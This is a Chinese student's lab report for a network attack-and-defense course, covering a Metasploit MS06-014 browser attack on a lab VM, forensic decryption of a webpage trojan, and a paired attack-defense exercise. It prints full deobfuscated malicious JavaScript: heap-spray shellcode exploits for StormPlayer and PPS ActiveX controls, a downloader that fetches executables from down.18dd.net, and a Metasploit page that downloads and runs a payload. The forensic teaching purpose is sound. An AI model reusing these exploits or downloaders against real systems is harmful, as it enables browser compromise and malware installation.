20232933 罗钧来 2023-2024-2 《网络攻防实践》实践十一报告

20232933罗钧来 2024-05-30 11:13:13

1.实践内容

本次实验涵盖了三个主要部分：浏览器渗透攻击、取证分析实践、以及攻防对抗实践。在浏览器渗透攻击部分，参与者通过使用Metasploit进行实际的网页木马攻击，体验从构造木马到远程执行命令的整个过程。在取证分析实践中，参与者通过对加密网页和脚本的解密和分析，进行详细的取证工作。最后，在攻防对抗实践中，攻击方和防守方针对Web浏览器安全漏洞进行了模拟攻击和防御的实际操作，攻击方通过欺骗性电子邮件发送挂马链接，而防守方则从中提取并分析这些链接以识别和修复安全漏洞。

2.实践过程

（1）Web浏览器渗透攻击

使用攻击机和Windows靶机进行浏览器渗透攻击实验，体验网页木马构造及实施浏览器攻击的实际过程。

kali：192.168.16.130 win：192.168.16.135
使用kali攻击机ping Windows靶机测试连通性

img

在kali中使用命令msfconsole打开metasploit

img

输入命令search MS06-014搜索MS06-014漏洞，可以看到针对这个漏洞的渗透攻击模块所在地址

img

使用命令use exploit/windows/browser/ie_createobject进入该渗透攻击模块。

img

使用命令show options查看使用该攻击模块所需要的配置，可以看到自动配置了攻击机的ip地址、端口等信息

img

使用命令show payloads查看该攻击模块可以使用的负荷

img

本次实验使用bind_tcp负荷，输入命令set payload windows/shell/bind_tcp

img

输入exploit开始攻击，恶意服务器开始服务，使用URL http://192.168.16.130:8080/0zLH4hLCRQsq 作为访问地址

img

在靶机win2k浏览器中输入上述URL，成功建立会话

img

在kali中也有成功建立会话的提示

img

使用命令sessions查看已经建立的会话

img

使用sessions 1唤起shell环境，在kali中使用ipconfig查看靶机的ip地址

img

（2）取证分析实践—网页木马攻击场景分析

在kali中使用vim打开start.html

img

使用命令/new09找到两处/new09.htm，指向了恶意网站的入口，可以看出start.html文件在引用new09.htm文件时没有写绝对路径，所以new09.htm文件与start.html文件在同一目录下。

img

img

使用vim打开同一文件夹中的new09.htm文件

img

对其中给出的两个链接做md5哈希，其中.hexdigest()表示以十六进制数据字符串值返回哈希值

img

在给出的hashed文件夹里找到这两个哈希值对应的文件

img

其中23180开头的文件以GB规范解码后显示“本文件内容是流量统计代码，不是木马

img

其中7f60672开头的文件使用vim打开后，发现是以XXTEABase64方法加密的，其中\x73\x63\x72\x69\x70\x74是密钥

img

使用解码工具得到密钥为script

img

将文件中的密文，也就是变量t，复制到Xxtea解密工具里，使用密钥对其解密，得到一段十六进制字符串

img

再使用十六进制字符串解码工具，将十六进制字符串解码为正常字符串

img

具体内容如下

eval("function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}")

分别利用了“Adodb.Stream”、“MPS.StormPlayer”、“POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”漏洞，对这四个漏洞对应的网址做md5哈希,分别是

http://aa.18dd.net/aa/1.js
http://aa.18dd.net/aa/b.js
http://aa.18dd.net/aa/pps.js
http://down.18dd.net/bb/bd.cab

img

打开 http://aa.18dd.net/aa/1.js 的md5哈希值对应的文件

img

进行16进制字符串解码后得到

img

其中恶意软件的下载地址为 http://down.18dd.net/bb/014.exe
第一个地址解密完成

将b.js文件内容复制进浏览器的控制台（F12打开，选择控制台）解密，注意要删除开头的eval，得到的内容如下

img

也即

var bigblock=unescape("%u9090%u9090");
var headersize=20;
var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace=headersize+shellcode.length;
while(bigblock.length<slackspace)bigblock+=bigblock;
fillblock=bigblock.substring(0,slackspace);
block=bigblock.substring(0,bigblock.length-slackspace);
while(block.length+slackspace<0x40000)block=block+block+fillblock;
memory=new Array();
for(x=0;x<300;x++)
  memory[x]=block+shellcode;
var buffer='';
while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";
storm.rawParse(buffer)

将变量shellcode字符串解密得到了http://down.18dd.net/bb/bf.exe
第二个地址解密完成

打开 http://aa.18dd.net/aa/pps.js 的md5哈希值对应的文件

img

是用八进制表示的字符串，在python中使用print打印该字符串

img

得到代码

pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

将变量shellcode字符串解密得到了http://down.18dd.net/bb/pps.exe

第三个地址解密完成

打开 http://down.18dd.net/bb/bd.cab 的md5哈希值对应的文件
是一个压缩包，解压得到可执行文件bd.exe
第四个地址解密完成

对前三个解密出来的地址做hash，得到如下结果

img

在hashed文件夹中找到这三个文件，无法正常打开，但是查看属性，发现大小和bd.exe都一样，所以认定是同一个可执行文件，所以只需要分析其中的任意一个文件即可

img

在IDA中反汇编bd.exe，使用string查找可打印的字符串，可以看到有很多下载exe文件的链接，猜测是下载了恶意病毒软件，至此，分析结束

img

(3) 攻防对抗实践—web浏览器渗透攻击攻防

攻击方：罗钧来 20232933 192.168.16.130
防守方：邓昊东 20232941 192.168.16.131

进入msf，输入search firefox搜索火狐浏览器漏洞

img

使用序号为79的漏洞

img

配置好负荷等内容

img

生成的恶意链接为http://192.168.16.130:8080/
将此链接发给防守方，诱使其点击

img

防守方点击链接后，攻击方看到了相关信息

img

攻击方：邓昊东 20232941 192.168.16.131
防守方：罗钧来 20232933 192.168.16.130

攻击方使用了ie_createobject攻击模块
防守方点击其生成的恶意链接http://192.168.16.130:8080/fF8cpKs1

img

在地址栏前加入view-source查看源码，会弹出一个记事本

img

将代码中的空格去掉后得到如下代码

function iEapcDhU( o, n ) {
    varr = null;
    try {
        eval( "r=o" + ".C" + "re" + "ate" + "Ob" + "je" + "ct(n)" )
    } catch ( e ) {}
    if ( !r ) {
        try {
            eval( "r=o" + ".Cr" + "ea" + "teO" + "bj" + "ect(n,'')" )
        } catch ( e ) {}
    }
    if ( !r ) {
        try {
            eval( "r=o" + ".Cr" + "ea" + "teO" + "bj" + "ect(n,'','')" )
        } catch ( e ) {}
    }
    if ( !r ) {
        try {
            eval( "r=o" + ".Ge" + "tOb" + "je" + "ct('',n)" )
        } catch ( e ) {}
    }
    if ( !r ) {
        try {
            eval( "r=o" + ".Ge" + "tOb" + "ject(n,'')" )
        } catch ( e ) {}
    }
    if ( !r ) {
        try {
            eval( "r=o" + ".Ge" + "tOb" + "ject(n)" )
        } catch ( e ) {}
    }
    return ( r );
}
function yIolKuRMXipUeGu( a ) {
    vars = iEapcDhU( a, "W" + "Sc" + "ri" + "pt" + ".S" + "he" + "ll" );
    varo = iEapcDhU( a, "A" + "DO" + "D" + "B.S" + "tr" + "eam" );
    vare = s.Environment( "P" + "ro" + "ce" + "ss" );
    varurl = document.location + '/p' + 'ay' + 'lo' + 'ad';
    varxml = null;
    varbin = e.Item( "T" + "E" + "M" + "P" ) + "ikuAbMSZoHKkFazwmW" + ".e" + "xe";
    vardat;
    try {
        xml = newXMLHttpRequest();
    } catch ( e ) {
        try {
            xml = newActiveXObject( "Microsoft.XMLHTTP" );
        } catch ( e ) {
            xml = newActiveXObject( "MSXML2.ServerXMLHTTP" );
        }
    }
    if ( !xml ) {
        return ( 0 );
    }
    xml.open( "GET", url, false );
    xml.send( null );
    dat = xml.responseBody;
    o.Type = 1;
    o.Mode = 3;
    o.Open();
    o.Write( dat );
    o.SaveToFile( bin, 2 );
    s.Run( bin, 0 );
}
function SrRKVBRGlWbWYNemaRYwst() {
    vari = 0;
    vart = newArray( '{' + 'B' + 'D' + '9' + '6' + 'C' + '5' + '5' + '6' + '-' + '6' + '5' + 'A' + '3' + '-' + '1' + '1' + 'D' + '0' + '-' + '9' + '8' + '3' + 'A' + '-' + '0' + '0' + 'C' + '0' + '4' + 'F' + 'C' + '2' + '9' + 'E' + '3' + '6' + '}', '{' + 'B' + 'D' + '9' + '6' + 'C' + '5' + '5' + '6' + '-' + '6' + '5' + 'A' + '3' + '-' + '1' + '1' + 'D' + '0' + '-' + '9' + '8' + '3' + 'A' + '-' + '0' + '0' + 'C' + '0' + '4' + 'F' + 'C' + '2' + '9' + 'E' + '3' + '0' + '}', '{' + '7' + 'F' + '5' + 'B' + '7' + 'F' + '6' + '3' + '-' + 'F' + '0' + '6' + 'F' + '-' + '4' + '3' + '3' + '1' + '-' + '8' + 'A' + '2' + '6' + '-' + '3' + '3' + '9' + 'E' + '0' + '3' + 'C' + '0' + 'A' + 'E' + '3' + 'D' + '}', '{' + '6' + 'e' + '3' + '2' + '0' + '7' + '0' + 'a' + '-' + '7' + '6' + '6' + 'd' + '-' + '4' + 'e' + 'e' + '6' + '-' + '8' + '7' + '9' + 'c' + '-' + 'd' + 'c' + '1' + 'f' + 'a' + '9' + '1' + 'd' + '2' + 'f' + 'c' + '3' + '}', '{' + '6' + '4' + '1' + '4' + '5' + '1' + '2' + 'B' + '-' + 'B' + '9' + '7' + '8' + '-' + '4' + '5' + '1' + 'D' + '-' + 'A' + '0' + 'D' + '8' + '-' + 'F' + 'C' + 'F' + 'D' + 'F' + '3' + '3' + 'E' + '8' + '3' + '3' + 'C' + '}', '{' + '0' + '6' + '7' + '2' + '3' + 'E' + '0' + '9' + '-' + 'F' + '4' + 'C' + '2' + '-' + '4' + '3' + 'c' + '8' + '-' + '8' + '3' + '5' + '8' + '-' + '0' + '9' + 'F' + 'C' + 'D' + '1' + 'D' + 'B' + '0' + '7' + '6' + '6' + '}', '{' + '6' + '3' + '9' + 'F' + '7' + '2' + '5' + 'F' + '-' + '1' + 'B' + '2' + 'D' + '-' + '4' + '8' + '3' + '1' + '-' + 'A' + '9' + 'F' + 'D' + '-' + '8' + '7' + '4' + '8' + '4' + '7' + '6' + '8' + '2' + '0' + '1' + '0' + '}', '{' + 'B' + 'A' + '0' + '1' + '8' + '5' + '9' + '9' + '-' + '1' + 'D' + 'B' + '3' + '-' + '4' + '4' + 'f' + '9' + '-' + '8' + '3' + 'B' + '4' + '-' + '4' + '6' + '1' + '4' + '5' + '4' + 'C' + '8' + '4' + 'B' + 'F' + '8' + '}', '{' + 'D' + '0' + 'C' + '0' + '7' + 'D' + '5' + '6' + '-' + '7' + 'C' + '6' + '9' + '-' + '4' + '3' + 'F' + '1' + '-' + 'B' + '4' + 'A' + '0' + '-' + '2' + '5' + 'F' + '5' + 'A' + '1' + '1' + 'F' + 'A' + 'B' + '1' + '9' + '}', '{' + 'E' + '8' + 'C' + 'C' + 'C' + 'D' + 'D' + 'F' + '-' + 'C' + 'A' + '2' + '8' + '-' + '4' + '9' + '6' + 'b' + '-' + 'B' + '0' + '5' + '0' + '-' + '6' + 'C' + '0' + '7' + 'C' + '9' + '6' + '2' + '4' + '7' + '6' + 'B' + '}', '{' + 'A' + 'B' + '9' + 'B' + 'C' + 'E' + 'D' + 'D' + '-' + 'E' + 'C' + '7' + 'E' + '-' + '4' + '7' + 'E' + '1' + '-' + '9' + '3' + '2' + '2' + '-' + 'D' + '4' + 'A' + '2' + '1' + '0' + '6' + '1' + '7' + '1' + '1' + '6' + '}', '{' + '0' + '0' + '0' + '6' + 'F' + '0' + '3' + '3' + '-' + '0' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '-' + 'C' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '4' + '6' + '}', '{' + '0' + '0' + '0' + '6' + 'F' + '0' + '3' + 'A' + '-' + '0' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '-' + 'C' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '4' + '6' + '}', null );
    while ( t[ i ] ) {
        vara = null;
        if ( t[ i ].substring( 0, 1 ) == '{' ) {
            a = document.createElement( "object" );
            a.setAttribute( "cl" + "as" + "sid", "cl" + "s" + "id" + ":" + t[ i ].substring( 1, t[ i ].length - 1 ) );
        } else {
            try {
                a = newActiveXObject( t[ i ] );
            } catch ( e ) {}
        }
        if ( a ) {
            try {
                varb = iEapcDhU( a, "W" + "Sc" + "ri" + "pt" + ".S" + "he" + "ll" );
                if ( b ) {
                    yIolKuRMXipUeGu( a );
                    return ( 0 );
                }
            } catch ( e ) {}
        }
        i++;
    }
}

这段代码通过尝试创建尝试创建 WScript.Shell 和 ADODB.Stream 对象等方法，使用多个常见的恶意策略，包括代码注入、下载执行未知代码等攻击多个安全漏洞。

3.学习中遇到的问题及解决

  • 问题1：靶机访问攻击机给出的URL时，显示无法访问页面
  • 问题1解决方案：使用ufw disable关闭攻击机防火墙

4.实践总结

这是最后一次实验，通过这学期的实验课，虽说不是精通了网络攻防，但至少是了解了网络攻防的种类、工具和方法等知识，使我受益匪浅。

参考资料

...全文
237 回复 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复
20232801 2023-2024-2 《网络攻防实践》实践十报告
20232801 2023-2024-2 《网络攻防实践》实践十报告 1.实践内容 一、SEED SQL注入攻击与防御实验 1.熟悉SQL语：查看creditential的表中的内容。 2.对SELECT语句的SQL注入攻击：在不知道密码的情况下登陆该Web应用程序...
20232819 2023-2024-2 《网络攻防实践》第2次作业
20232819 2023-2024-2 《网络攻防实践》第2次作业。
20232815 2023-2024-2 《网络攻防实践》 实践八报告
通过对恶意代码的分析，我学会了反编译等软件的使用，理解了脱壳等原理，同时加深了对网络安全必要性的理解，还加深了我对数据分析筛选的能力。
20232822 2023-2024-2 《网络攻防实践》实践6报告
这次试验我对Windows操作系统安全体系结构与机制有了更深刻的认识，通过实践我也了解到了Windows安全攻防技术，在NT分析时查阅了很多资料也学习到了很多漏洞攻击技术。
20232820 2023-2024-2 《网络攻防实践》实践七报告
经由本次实验，知晓了一些有关linux安全攻防及部分漏洞的知识。借由对其他主机展开攻击，并夺取控制权的过程，深化了对所学知识的领会，且通过实践操作和查阅资料，提升了动手与实践的能力。然而，同时也存在诸多...
2024年DKY网络攻防实践

54

社区成员

266

社区内容

发帖
与我相关
我的任务
社区描述
网络攻防实践课程
网络安全 高校
社区管理员
  • blackwall0321
加入社区
  • 近7日
  • 近30日
  • 至今

加载中

查看更多榜单
社区公告
暂无公告

试试用AI创作助手写篇文章吧

+ 用AI写文章